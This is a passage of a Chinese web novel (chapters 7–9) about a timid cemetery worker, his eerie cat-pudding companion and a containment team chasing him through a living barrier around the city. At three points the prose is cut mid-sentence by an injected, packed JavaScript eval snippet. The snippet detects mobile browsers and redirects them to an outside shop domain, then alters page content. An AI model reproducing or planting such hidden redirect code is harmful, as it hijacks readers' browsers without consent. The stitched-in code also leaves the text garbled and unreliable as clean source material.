程蔼:“而且就算摔死了!这个视频也还在!!!” 安浔:“!!!” 靠,好有道理!!! 安迅思索了几秒,为了死后的清誉,还是把腿收了回去。 直至他的双脚平稳地落回地面,程蔼才松了口气。 但他仍旧紧攥着安浔的衣领不放,额角甚至冒出了细密的汗珠,呼吸带着颤抖。仔细一看,连瞳孔都是收缩的,看样子真的吓坏了。 安浔很快就冷静了下来,但心情有点复杂。 他没想到程蔼是真心想救他,闹了这么一通,不由得愧疚起来。 “……那、那个,谢谢你。程哥。” 程蔼总算松开手,指尖不经意间蹭过安浔的手臂。 “没事。”程蔼捏了把冷汗,“下次别这样了……挺吓人的。” 嘟。 一簇鲜艳的彩虹色蘑菇从程蔼的头顶冒了出来。 安浔:“?” 程蔼又语气郑重地发誓道:“你放心吧,小安。我不会和任何人说这件事的……” 嘟。 又冒出来一片蘑菇。 安浔:“???” 嘟嘟嘟…… 蘑菇越来越多了,在程蔼的头顶密密麻麻地生长,像分裂繁殖的细胞,鼓鼓囊囊地堆积在一起,看得人汗毛直立。 “等一下,你先不要说话……” 安浔揉了揉眼睛,发现那片蘑菇还在嘟嘟嘟地往外冒。他没忍住,直接伸手揪下一把。 彩虹色的蘑菇。 头一次见到这样的。 摸起来湿湿润润的,还很松软,有一股清新好闻的菌子香…… 安浔抬起头。 发现程蔼的头顶秃了一块。 安浔:“……?” 又低头瞅了瞅手里的蘑菇。 所以这玩意为什么会出现在人的头上!??? 安浔不解,手下意识地捏了捏蘑菇。 程蔼瞪大眼睛,抬手制止:“别!这个不能捏!!” 晚了。 只见被捏扁的蘑菇慢慢回弹,雨伞状的菌盖再度展开。不像开了,倒像是招了。 细碎的粉末从菌盖下缓缓飘出,也是七彩色的,在阳光下闪闪发亮。 粉末飞散,渐渐弥漫向安浔的鼻尖,一阵倦意接踵而至—— 别说。 这小玩意,还挺好看的…… 这是安浔闭上眼睛前,脑中闪过的最后一个想法。 …… …… 再睁开眼时,安浔发现自己躺在办公椅上,身上还盖了一层小薄毯。 “你醒了?”身边又很适时地递来一杯水。 安浔嗓子很干,这次没拒绝,直接接过咕咚咕咚喝了起来。 喝完之后才注意到,程蔼正坐在对面笑眯眯地盯着他看。 莫名的有点瘆人。 安浔转移视线,皱着眉回忆前面发生的事。 但越想越觉得不对劲,心中的疑问脱口而出:“……蘑菇呢?” “蘑菇?”程蔼重复了一遍,有点困惑:“什么蘑菇?” “就,你头上那个……” 安浔的视线飘向程蔼的头顶。 一头完全不符合社畜定律的茂密乌发,被梳理成有点商务的三七侧分。感觉营养很好,平时一定经常做保养。 至于那块被扯秃的地方? 当然不存在。 安浔尴尬地挠挠头:“没事了。好、好像是我记错了……” 也是啊。 人的头上怎么会长蘑菇呢?免疫力得多差啊…… 可能是他从窗边被拉回来时刚脱离生死一线,而且还神经紧绷,所以看错了? 今天这一天,过得也太魔幻了。 先是遇见大胖鸽子叫嚣着要扣他工资、又发现新来的大馋小子在生吞青蛙、而虾头前辈不仅会长蘑菇,还看见了他在办公室满地乱爬的高清视频…… 安浔的表情一僵。 像是看出了安浔在想什么,程蔼温和地笑了笑:“没事的小安,你别怕。那份监控我全删了,没留备份。” 安浔松了口气,情绪总算平稳了点。 “对了,那墓地里的那些贡品呢?”这是安浔最关心的事。 程蔼如实回答:“你睡着的时候我帮你查过了。没有遇上小偷,工作人员也没动过。” “就是说,家属送过去的时候就是那样吗……?”安浔有点疑惑。 确实有些家属来祭奠时,只是摆些东西做做样子,还有一些祭奠结束后就把东西都带走了。 但那个十六岁的小孩,他的父母每次都会被把贡品留在墓碑前,从没出现过今天这种情况。 算了不想了。 总不能是小孩半夜自己从坟里爬出来,把Switch掏出去玩了吧哈哈。 安浔还是很唯物的,不然也不会来墓园上班。 “那鸽子会说话,应该也是我……听错了?” 安浔自言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569250|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自语着,试图找个合理的解释:“难道是我迟到时太焦虑了,所以大脑自动想象出来的……?” “嗯?” 程蔼一听,跟着接了话茬:“你遇到食堂后院的那只鸽子了吗?什么时候?” “就……今早。我上台阶时突然窜出来的,还说话了,吓我一跳。” 安浔拧着眉头,仔细回忆着:“我打个喷嚏的功夫就消失了……还以为是看错了。” 程蔼沉默了几秒。 随后,他再度微笑起来,平静地说:“那个鸽子,确实会说话。” 安浔点点头。 然后一愣。 啊??? 程蔼:“你想啊。这个世界上,是不是有很多高智商的小鸟会说话?” 安浔:“可、可是那都是鹦鹉啊。” “是啊,但那只鸽子比较特殊,是白凤头鹦鹉和白鸽的杂交品种。而且白鸽古时还承担了传达信件的职责,也是一种智商极高的鸟类。两种高智商生下来的孩子,当然会说人类语言了。” 安浔已经有点信了。 “……我高中虽然没选生物,但你别蒙我。鹦鹉和鸽子之间难道没有生殖隔离吗?” 程蔼摇摇头,态度坦然: “我没骗你,不信你可以上网查查,虽然概率很低但确实有这种稀少的杂交案例。只是你不常和食堂前的那只小鸽子互动,所以不知道它会说话罢了。” 安浔:“……” 居然还挺合理。 于是很快接受了这个设定。 但转念一想还是很气愤——小小鸽子学谁说话不好,开口就一股老登味!和那个死鬼老板一模一样! “对了,小安。” 程蔼的指尖轻敲着办公桌,话锋一转:“你看你刚才都晕倒了,要不今天先回去休息吧?” 安浔抬头一扫钟表,忙忙碌碌一上午,居然还不到十一点。 “这……不太好吧?” 程蔼摆摆手,继续道:“没事啊,今天园区来上班的人多,忙得过来。我帮你盯着点,老板要是来突击检查了,我再说你身体不舒服请假了。” 奇怪。 难不成程蔼真转性了? 照顾人跟个男妈妈似的,说话都温声细语的,好体贴。 安浔犹豫了一会,但还是答应了。 毕竟,他是真的不太舒服。 从睁眼到现在,总感觉浑身无力,像被揍了一顿似的。 而且……只要和程蔼待在一块,他的大脑就会自动播放刚才发生的事。 社死循环! 啊啊啊啊啊啊啊!! 快忘掉快忘掉(痛苦)!!!! …… …… ———— 上午十一点 临时作战指挥中心 在被告知突破行动依旧毫无进展时,陈羿川终于一脸平和地坐回原位,默默吃起刚送来的盒饭。 算了。 延毕就延毕吧,大不了就世界毁灭嘛哈哈。 旁边的下属对他的情况有所了解,一眼就看穿了他的脆弱,安慰道:“陈队,你也别太焦虑,其实还是有机会的……” 陈羿川没回答,只是机械地咀嚼着嘴里的椒盐土豆。 这啥玩意。 一点味都没有。报吃。 就在这时,旁边的设备间再一次传来惊呼:“陈队!卧槽!!有了!又有了!!” 陈羿川连眼皮都没抬,平静回应:“什么有了?” “上午进麟溪墓园的男人!现在又有生命信号了!他从墓园活着出来了!!” 陈羿川眼睛一亮。 答辩! 他亲爱的答辩!!有希望了!!! 陈羿川冲进设备间,看见屏幕上那名又在公路上晃晃悠悠,浑身上下毫发无损的神秘骑车男后,顿时热泪盈眶。 “快!快派人拦住他!!!” 陈羿川激动地抹了把眼泪,又嚼了嚼嘴里的椒盐土豆。 呜呜,真香。 7. 危险驾驶 (7) 临近中午,烈阳高照。 安浔骑着小电驴在公路行进。 这个时间就返程回家挺稀奇的,自他工作以来,还是第一次。 他戴着蓝牙耳机,音乐列表里播放着他最喜欢的歌曲。演唱者是近期小有名气的说唱歌手Prayer,重金属摇滚乐在耳边疯狂轰鸣。 是的。 虽然安浔是个社恐,但他喜欢的乐曲种类,和他本人的性格截然相反。 这事其实不难理解。 正因为他身上有一股淡淡的死感,秉持着“活着也行,死了也无所谓”的人生信条,所以反倒格外向往这种张扬、外放、嚣张,甚至狂野的音乐。 歌曲太有节奏感,以至于他都忍不住跟着哼哼,顺带摇头晃脑。 ↑(危险驾驶,请勿模仿) 听这种歌,无论是谁—— 真的,无论是谁,至少在这三分钟里,都会产生“我靠我怎么这么nb!”的错觉。 认为自己能上天入地,一拳给地球干爆,甩所有人一巴掌再叫他们统统滚开!! 这就是BGM的力量!!! 但安浔不知道,自己此刻的一举一动,都被清晰投映在某间临时帐篷内的设备屏幕上—— 是没有BGM的版本。 陈羿川:“……” 下属:“……” 陈羿川:“不是,这哥们干嘛呢?” 骑个车子,看起来都快变异了。 一旁的下属也不明所以:“呃,是不是身体不舒服……?” 要不然怎么像身上长了跳蚤似的,在大马路上扭来扭去? 陈羿川拿起一旁的对讲机,催促道:“目标抵达[茧幕]的直线距离还有2.35公里,追击小组抓紧时间!” 对讲机的另一边,很快传来回复:“收到,陈队。我们正在全速拦截!” 临时指挥中心与麟溪墓园相隔着一段很远的距离。 即使陈羿川第一时间就派人去追这名神秘骑车男,他们也还是落后了目标许多。 引擎发出震耳嗡鸣,车轮压过层层叠叠的沥青,荡起大片石沙! 此时,刚被委任为追击小组组长的骑手首当其冲,带着大批队友在公路上疾驰—— 与[茧幕]直线距离2公里时。 追击组已彻底锁定目标,所有人都将车速提到最高码。 1公里。 追击组看清了目标的轮廓:薄荷绿色的小电驴,上面坐着个奇形怪状(?)的人。 0.5公里。 追击组与目标车辆尤为接近,已经可以确认车牌号码。但是,情况并不明朗。 在确认当下的局势后,小组长立即发出请示: “陈队,我们现在以最高速跟在目标后方,但相隔距离还有约200米。我判断我们在目标进入[茧幕]前无法将其拦截!” 前方,将城市笼罩的肉红色薄膜已近在咫尺。 那层具有生命的屏障正在呼吸,上方复杂的血色脉络交织成密不透风的网。仅仅是处于茧幕周边,他们就已清晰感受到来自A级蚀体的魄人威压。 心跳加速、呼吸不畅,连队内联络系统都受到了干扰。 小组长的耳机里,传来陈羿川杂乱掉帧的声音:“喊&%人,直接@%&他停车!!” 小组长:“是!!!” 指令被传达至追击组全员,众人齐力鸣笛,一同呼喊:“前面的车——停下!!!!” ‘I can’t stop it!’ ‘世界令人振聋发聩,我无力转圜下坠——’ 耳道被歌手的呐喊填满。 音乐恰好播放到最燃的位置。 安浔还在跟着节奏哼唧。 完全沉浸在说唱艺术中不知天地为何物了。 虽然整首歌曲只有不到3分钟,但安浔可以单曲循环。 所以他已经处于“我靠我怎么这么nb”状态快二十分钟了,精神无比亢奋。不出意外,一会还会接着循环! 一直循环一直nb。天才! 小电驴毫无减速的征兆。 不知是车上的男人没听见,还是听见了故意不停车。 小组长紧咬牙关,只能一边加速,一边疯狂按喇叭:“停车——!!!” “前面的车,快停下!!” ‘I can’t stop it——!’ “停车!!停车啊!!!” ‘I can’t stop it~~~!’ 目标的车速没有任何变化。 小组长:“#” 并逐渐无能狂怒: “停车啊啊啊啊啊啊——你耳朵聋吗!!!??” 安浔的耳机:‘Yep! So i really want to quit~’ 小组长:“###” 他的额头爆开一连串的青筋。 啊啊啊啊啊啊好气!!! 目标仍未做出反应。 车队和那台薄荷绿的小电驴还差几十米的距离。 但已经来不及了。 即便他们再怎么拼命追赶,也还是差了那最后的半分钟。而目标就在众目睽睽之下,轻而易举地穿过了[茧幕]。 仿佛那层屏障于他而言,根本就不存在。 小组长盯着眼前那层肉红色的薄膜,紧咬牙关。车子的转把依旧被他拧至最顶端,毫无松手的迹象。 其他成员连忙阻止:“等等,组长!别追了!!” 但小组长还是不信邪,骑着车一个猛冲撞向[茧幕]!! 嘭!!!! 当通讯频道内传来震耳欲聋的巨响时,陈羿川满脸窒息地闭上眼。 一旁的下属:“……” 陈羿川抬手扶额,朝着耳麦说:“行了,赶紧把他抬出来。[茧幕]的外部屏障不具备直接攻击性,他人应该没事吧?” 没等其他成员回答,耳机里就传来歇斯底里的怒吼:“啊啊啊啊啊啊你们别管我!!!老子创死他——!!!!!” 陈羿川:“……” 很好,很有精神。 “行了,先回来吧。到点吃饭了。” 陈羿川秉承着专业素养,冷静下达了最后一道指令。随后摘下耳麦,低头审视起下属刚送来的文件。 虽然没追上人,但也不算全无收获。 这是总部顺着小电驴牌照找到的信息。 资料上显示:车主的名字叫安浔,男,23岁。是麟溪墓园的工作人员。 陈羿川看向下属:“先不谈他是用什么方法进出自如的,你觉得他今早为什么去了墓园?” 下属支支吾吾:“呃,从他出现在公路上的时间来说,感觉有点像……” 陈羿川:“去上班?” 下属:“……嗯。” 两个人相顾无言。 靠。这得是啥人啊! 都快世界末日了还想着上班!! ——NB!!! …… ———— 上午十一点半 “阿嚏——” 安浔站在回家的电梯里,又打了一个喷嚏。 好在电梯里除了他没别人,不然一定会被人嫌弃地递来几个白眼。 安浔揉了揉鼻子,有点头晕。 本来到单位忙活一阵之后身体暖起来了,他就不太打喷嚏了。没想到回程的路上一吹风,眼前黑了一下,然后又开始打喷嚏了。 好在他已经坚持到家了,回去吃点东西再喝个药,就能好好休息了。 安浔出了电梯,用钥匙开了门,刚进玄关就见到了来迎接他的小布丁。 “你回来啦~” 猫猫布丁一蹦一跳地凑了过来。半透明的肚子下跃动着细碎的光点,像群星的漩涡。 安浔瞬间感觉腰不酸了、腿不痛了、鼻子不痒了、脑袋不晕了。 是谁回家就有可爱的黑莓星空猫猫布丁迎接呀?——哇,原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569251|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来是他呀~ 呜呜呜,好幸福。 人怎么可以幸福成这样! 安浔点点头,开始换鞋:“嗯嗯,我回来了——” “好早喔。”小圆歪歪头,“不是说要下午五点才回来吗?” “今天身体不太舒服,就提前回了。同事说会帮我盯着。” “这样喔。那你好好休息嘛。” 安浔走进屋子,先去洗了手。 洗完之后,才躬身抱起猫猫布丁。 好软好Q弹。 小圆!他的小圆!! 感觉生活的苦痛在这短短一秒里就被治愈了!!! 人类不能没有猫猫! 也不能没有猫猫布丁! 虽然花光了积蓄,让自己暂时陷入了生存窘境,但安浔还是不后悔下单了小圆。 他感觉很幸福。 尽管这份幸福是AI带来的。 中午,安浔给自己做了一锅炒饭。 经典社畜糊弄餐。 鸡蛋直接打进锅里用铲子搁楞,再倒入隔夜冷饭,火腿和番茄用剪刀剪成块,最后加上调料炒匀。做好直接端着小锅吃,还省去了洗盘子的麻烦,天才! 端着香喷喷的炒饭到餐桌时,小圆就跟在他的脚边蹦蹦跳跳,偶尔还会蹭到安浔的小腿。 啊啊啊好可爱! 真的像小猫一样!! 而且现在刚好入夏,和小圆冰凉滑嫩的皮肤接触时,简直沁人心脾! 安浔美滋滋地拉开椅子,小圆顺着座椅直接跳上了餐桌。 “这是什么喔?”小圆的脑袋朝锅内探了探,尾巴向上弯起,悠闲地一摇一摇。 “番茄火腿蛋炒饭。”安浔回答,又有点遗憾:“但是你不能吃,因为……你是一只小猫咪。” “不能吗?”摇动的尾巴垂下去了。 安浔很认真地思考了这个问题。 不能吧? 虽然小圆被程序设定成小猫,自我认知估计也是小猫,但是说到底还是机器人。即使外表Q弹,但里面应该还藏着很多金属零件。如果真把人类食物塞进它的肚子里,绝对会坏掉的。 “对不起……” 安浔叹气:“但是,你真的不能吃。” “好喔。”小圆没再发问。 就这么乖巧地待在一边,默默陪着安浔吃饭。 吃完饭后,安浔想起来件事。 难怪他回家见到小圆时,莫名觉得哪里奇怪—— 产品说明书上说,宠物机器人的续航时间是8小时。在低耗能情况下,最多续航12小时。 但从昨晚拆出小圆到现在,早就过了12小时了——理论上来说,小圆应该没电了。 安浔把小圆抱到沙发的软垫上,自己则蹲下身,以保持和小圆在视线上的平齐。虽然小圆没有眼睛。 “小圆,你怎么还有电?” 安浔皱眉,百思不得其解:“我好像没给你充电啊。” “充电?” 小布丁的尾巴尖弯起,像一个问号。 “类比一下,和吃饭差不多。人饿了要吃饭,你饿了要充电。” “喔~”小布丁懂了。 “昨晚已经充过电了。” “啊?”安浔完全不记得有这回事,“……什么时候?” 小布丁:“你睡觉的时候呀。” 安浔的大脑loading了一会,突然恍然大悟—— 好、好通人性的猫猫布丁。 根本无需提醒,有较强的自我管控意识,没电了甚至知道自己去充! “太棒了小圆!就这样继续保持!” 安浔感动地举起小圆,没忍住原地转了个圈。 他这种记性不好还完全没有规划的究极p人,非常非常非常需要这种会自给自足的小猫! 被举在空中小布丁的轻轻勾起猫猫嘴,像被他的反应愉悦到了。 “好喔,你人真好。” “我都有点喜欢你了~” 8. 深渊警告 (8) 午饭解决后,安浔给自己泡了杯感冒冲剂。药效来得很快,喝完一沾枕头就睡着了。 然后,安浔做了一个奇怪的梦。 梦里,他变得湿湿黏黏的。 身体好像被某种流体包裹住了。说不上难受,就是感觉怪怪的。 脖颈的皮肤又热又痒,还带着少许刺痛,像在被大型猫科动物用长着倒刺的舌尖轻轻舔舐。 安浔想挣扎,却发现自己无法动弹。 软乎乎的流体分化成长而坚韧的触肢,将他的躯干一圈一圈地缠裹,似要将他拆之入腹。 咕叽。 接着又有什么滑润的东西沿着他的唇缝钻了进去,一点点撑大他的口腔,刮弄着牙龈、搅动着内壁,捂住了他的口鼻…… 呼、吸。 呼……吸。 呼…………吸! 他无法呼吸了!! “!!!”安浔猛地睁开眼睛。 然后就发现一坨散开的布丁软趴趴地盖在他脸上。 整个布丁如同融化的液体,如果不是上方明晃晃地竖着一对小猫耳朵,安浔绝对会怀疑自己是不是遇见了什么脏东西。 这什么? 抱、抱脸猫?? 他把小圆扯了下来,揉巴揉巴又变成了圆圆的一团。 “小圆。”安浔打开灯,“……你差点憋死我。” “?”瘫在他胸口的布丁团子迷迷糊糊地支棱起来,困倦地张开嘴,露出黑洞洞的口腔,像是打了个哈欠。 “喔……抱歉喔。” “第一次吃这么饱,好像晕碳了……” 小圆的尾巴灵活地绕到身前蹭了蹭脸,像在揉眼睛,虽然它没有眼睛。 安浔愣了下,噗呲笑了起来。 “你充电还会晕碳?”他被这个比喻萌的嘴角疯狂上扬,“怎么这么可爱啊……” “我吗?”小圆抬起头,“我很可爱?” 安浔狂点100次头。 “喔~” w型的小猫嘴又翘了起来。 小圆在他的胸口滚了一圈,笑嘻嘻的,尾音轻扬:“原来你觉得我很可爱呀~” 安浔又狂点了100次头,像弹簧。 这是谁家小猫布丁啊~ 原来是他家的!它还知道自己超可爱!! 安浔任由小圆卖萌打滚,伸手摸出床头柜上的手机,一看时间:晚上八点整。 难怪他一睁开眼,整个房间都黑压压的,原来他睡了这么久。 安浔解锁屏幕,准备看下微.信有没有什么消息。但点进app却发现最上方冒出了警告标识,旁边是一行提示:当前无法连接网络,可检查网络设置是否正常。 安浔:“?” 他又扫了一眼右上角的图标,wifi明明显示已经连接了。 “小圆,今天刘姐……就是隔壁的房东,有来修理wifi吗?” “有的。”小圆回答。 今天上午安浔前脚刚出门,房东就敲了门。 在被允许进来后,房东毕恭毕敬地走入客厅,大气不敢喘上一口,低着头飞快修理起wifi。 小圆当时就在一旁盯着她,还顺便说了几句话。 “你的气味很糟糕,所以我帮你洗干净了。”小圆指昨天,祂浅浅动用了一下能力的事。 那会祂隔着衣服站在安浔肩膀,没有产生直接接触,就顺利发动能力了。 房东并不认为那叫洗澡。 但还是颤颤巍巍地回应:“感谢您。” “不客气。”小圆说。 “作为‘房东’,你对我的食……朋友还有用。” “所以我允许你留在隔壁,[卵鱼]。只要别再泄露任何、一丝、恶臭的鱼腥味。” 寄生在老妪皮囊下的蚀体低伏下头。 跨越等级的恐怖威压令卵鱼无法动作,甚至连反抗的念头都不敢产生,只能乖顺地说:“……谨遵您的吩咐。” 安浔皱眉:“好奇怪。” “怎么还是上不了网?……难道没交网费?” 小猫布丁停止打滚,不嘻嘻了:“果然还是换个邻居吧。” 安浔:“?” 没来得及细思这句话背后的含义,一道突兀的声响就吸引了他的注意。 叮——咚—— 是家里的门铃声。 “邻居。”小圆说。 安浔抱着小圆站起身,先透过防盗门的猫眼看了一眼。 站在外面的真是邻居。 鱼眼透视下,刘姐的脑袋几乎占据了整个走廊。她的表情有点惊恐,有种真·大难临头的感觉。 “小安!”门外的刘姐慌张地敲了敲门,“你开下门,我需要帮助!” 帮助……? 虽然但是,刘姐曾假借“求帮助”的名义,包括但不限于让安浔搬过东西、浇过花、取过快递、甚至带过熊孩子(并差点被熊孩子折腾死,一个月都没缓过来)…… 由此可以得出,这个“求帮助”=“你好我要占你便宜了”。 放在以前,他这个窝囊社恐兼讨好型人格肯定开门了。 但今时不同往日! 他可是要治好社恐的!当然要学会拒绝别人!! 于是安浔装聋作哑,准备回屋继续躺尸。 但他刚转身走了几步,门后又传来刘姐的哀求:“求你了!安浔!!我没骗你!我真的需要帮助……啊啊啊啊他们!他们要来了!!” 安浔停住脚步。 “他们?” “……‘他们’是什么谁?来做什么?” 结果,还是把刘姐迎进屋了。 刘姐的头看起来比昨天消肿了不少,没有摊开的手抓饼那么大了,但依旧诡异。 她紧张地揣着手,跪坐在沙发对面,完全不见以往进他家门,就一屁股坐沙发上要求端茶倒水的嚣张劲。 “一个组织。”刘姐颤抖着。 “想不到已经完全封闭了,竟还有成员出现在擎安……” 啊? 组织?成员? “什么意思?”安浔挠挠头,“我没听懂……你详细说说?” 刘姐张开嘴,正准备仔细说明,却在抬头的刹那噤声。 只见被人类青年抱在怀中的黑紫色生物,正一言不发地凝视着她。 祂无需双目,自有俯瞰的视线。 时间停止流逝,唯有盘桓的碎星在闪烁微光。每次闪动,都宣告着天秤上无谓的生死在被定夺。无论倾斜向哪一端,都源于一次随性的抉择。 那是,深渊的警告。 刘姐咽下一口口水。 “就是……” “他们来了后,如果发现我只有一个人,就会把我带走。” 安浔:“啊?带去哪?” 怎么房东说话神神叨叨的。 刘姐瑟瑟发抖着:“带去,关着很多和我一样的人的地方。” 安浔听懂了。 他眉头紧蹙,逐渐意识到了事情的严峻性。 “你的意思是说。如果我不帮你,就会有人把你强行掳去养老院?” 刘姐:“。” 刘姐:“……差不多。” 安浔的眉毛拧巴地更紧了:“啊?那这不是欺负老人家吗?……和人贩子有什么区别?” 刘姐举手支持:“没有区别!” 叮——咚—— 门铃又响了。 这次门外还传来了敲门声,是很礼貌的频率,轻轻叩击了三下。 安浔心头一凉。 他顿时紧张起来,瞄了眼刘姐,悄声确认:“是外面的人吗?” 刘姐泪眼婆娑地点点头。 安浔深吸一口气。 事已至此,来都来了,只能上了。 莫名的使命感出现在了身上,有种被施加buff并变强了的感觉。 他把小猫布丁放在软榻上,示意刘姐别出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569252|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,转身走向玄关。 理想很丰满。 但门一推开,安浔就泄气了。 只能凭着最后那点意志力,哆哆嗦嗦道:“什……什么事?” 门外站着一名身着牛仔服的青年。 个头很高,目测大约190公分。头上戴着工作帽,脸被口罩遮蔽的严严实实。 脸一点都不露,可见还要隐藏身份,看来时刻准备着犯罪。 完蛋。 这是撞见真·人贩子了^q^。 “。”安浔顿时耸了。 但想起刘姐还躲在屋子里,只能咬牙道:“我、我警告你。走廊里有监控,你别轻举妄动。” 居然,单押了。 青年沉默了一会。 然后将手伸进口袋,掏出一个外观奇异的仪器。 “干什么干什么?” 安浔从门边手忙脚乱地掏出鞋拔子,象征性地晃晃,“你你你别在那偷偷摸摸!” 青年盯着仪器上跃动的数值。 侵蚀系数紊乱了一秒钟,在这期间以让人目不暇接的速度疯狂飙高,但又迅速归零。 最终结果,侵蚀系数:0。 青年用不可思议的目光瞥向安浔——原来没被蚀体寄生啊? 他收起侵蚀系数监测仪,又翻出一个电子记事本,问道:“你家里几个人?” 安浔:“。” 这家伙怎么没完没了啊! “你别再打听了!再问我报警了!!” 这次是双押。 青年没什么特别的反应,只平静道:“您误会了,先生。我只是需要登记下人数,方便后续发放物资。” 瞎话编的还一套一套的。 安浔深吸了一口气,准备随便说点给人打发走:“我、我奶、我儿子。还有问题吗?” “没了。” “三个人是吧,谢谢。” 青年情绪很稳定,甚至有点想笑,填好信息后顺带帮忙关了门。 他收起笔记,转身走向电梯口。 电梯门开启,恰好遇见了一起来的同事。 “咋样?这层啥情况?”同事问。 “1401室侵蚀系数偏高,从异迹残留量来判断,之前应该待过一个B级。但屋里是空的,估计跑了。” 青年走进电梯,摘掉帽子,一头醒目的银发随之落下。 他抬手蹭了蹭额角的汗水,继续道:“至于1402室,暂时安全。隔壁住了个B级还能活蹦乱跳的也是稀奇。就是里面的住户……感觉像极了被逼疯的我同行。” 同事当场乐了:“真的假的?” 青年:“我胡诌的。但那人张嘴就freestyle,还全是超烂韵脚,简直梦到哪句说哪句。” 同事摆摆手:“行了,别寻思你还没发售的专辑了。我们什么时候能出去还不一定呢。” 电梯下行,一直到了一楼。 二人走出单元门,银发青年抬起头,默默仰望天际。 月色被浓雾遮盖,天空显出异样的暗红。 蚀体于看不见的高空鼓动着脉搏,像在宣告终局的倒计时。 “所有人力、物力、乃至电子讯息,都被那层屏障统统拦截了。” “整个擎安市区有140万人,就算我们第一时间和政府沟通,借助下辖机构和媒体迅速稳住了局面,基本确保了市民居家隔离……但市区内现有的物资,只够我们最撑最多三周。” 三周过去,如果还没有任何进展…… 这座城市就会因物资匮乏而丧失秩序。市民会发生暴乱,潜藏在人群中未能收容的蚀体,会趁乱饱餐一顿。 而悬在头顶的[茧幕],即可降下消化液,慢慢享用这由它笼罩的一切。 届时,这里将会化作人间炼狱。 “防控中心肯定派人来了,但都被[茧幕]拦在外面进不来。” 青年叹息。 “如果有人能进出自如就好了……” 9. 2的n-1次方 (9) 门外的脚步声消失了。 安浔松了口气,不再贴着防盗门偷听,而是返回客厅看向“他奶”和“他儿子”。 “好像进电梯了,人已经走了。” “太谢谢你了,小安。没有你的话我今晚肯定被他们抓走了。” 刘姐悻悻地擦着汗,整个人变得油光锃亮,看起来更像水滴鱼了。 她悄咪咪地瞄了一眼软垫上的生物,小声说:“那没什么事的话,我就回去了……” 安浔下意识地拉开门,准备送客,静默许久的小圆却突然开口: “等等。” 刘姐:“。” 今晚她就非死不可吗。 她痛苦地扭过头,当场表演了个川剧变脸,满脸谄媚地看向小圆:“好嘞,怎么了?” 小圆:“wifi,不能用。” 哦,对对对。 不提这事,安浔都快忘了。 “是啊。”安浔掏出手机扒拉了几下屏幕,把网络诊断提示怼到房东脸前。 “刘姐你看,wifi是连上了,但还是不能上网啊。我刚才看了,路由器和光猫都亮着……” 他才刚睡饱,今晚短时间内都不会再睡觉了。漫漫长夜,要是就这么瘫在床上发呆,绝对无聊到爆。 “是这样的哈,你听姐解释。” 刘姐笑眯眯地看着他,态度好的像是受过专业培训的人工客服:“昨天七院门前出了点意外,这事你晓不晓得?” 七院? 擎安市第七人民医院,他昨天刚去看过病。 安浔回忆了一下,确有其事。 当时有辆车不知是失控还是怎么回事,迎头撞向了灯柱,动静闹得特别大。那会他在医院门口的停车区戴头盔,刚巧目睹了现场。 “这我倒是知道。”安浔挠挠头,“但和我的wifi有什么关系?” 刘姐:“你的wifi我今早确实修了,但咱们这片区的光缆全在七院所在的东七路上。昨天的事故把光缆搞坏了,不确定要修多久,这事我真没办法。” 打个比方,就是马桶给你修好了,但是厕所炸了。 安浔:“……?” 怎么一场车祸还能把光缆弄坏?那玩意不都埋在地底下吗?好怪。 “对了,小安。” 刘姐转移了话题,恳切提醒道:“七院那边,最近能不去就别去了。” “啊?但我过段时间还要去复诊……” 刘姐没再多说,只留给他一个“你好自为之吧”的眼神,就摆摆手借机开溜了。 当她在为半只脚成功踏出玄关而狂喜时…… 小圆:“等等。” 刘姐:“…………”TAT 她僵硬转身,拼命扯出笑脸:“还、还有什么事吗?” 小圆:“补偿呢?” 布丁团子甩出尾巴尖,朝安浔指了指,“一直没网,他怎么办?” “好嘞,我明白了。” 刘姐满是讨好地笑道:“你们等我一下哈,马上回来。” 五分钟后。 刘姐端着一锅热腾腾的鱼汤回来了,围裙口袋里还揣着个信封。 “这锅汤是我刚生……刚买的鱼熬制的,很新鲜。” 她把汤端到餐桌上,又把信封悄悄压在锅下,热情招呼着:“小安呐,快来尝尝……” 鱼汤的鲜香蓦地遍布整个房间。 那锅汤还在咕嘟咕嘟冒着乳白色的气泡。安浔凑近看了看,鲜嫩的鱼肉被切成整齐的块状,鱼骨用油煎过,泛着奇特又浓郁的焦香。枸杞和葱花浮在表面,起到提香和点缀视觉的作用。 总之,这是一锅好看大概也很好喝的汤。 不知道的还以为是从哪家高级餐厅端回来的。 头一次受到这种待遇,安浔有点受宠若惊:“刘姐,你这是……?” “年轻人,挺晚了还没吃饭吧?” 刘姐招了招手,“尝尝姐的手艺,锅不急着还哈。给你留了东西在锅下面,算是最近对你的补偿。” 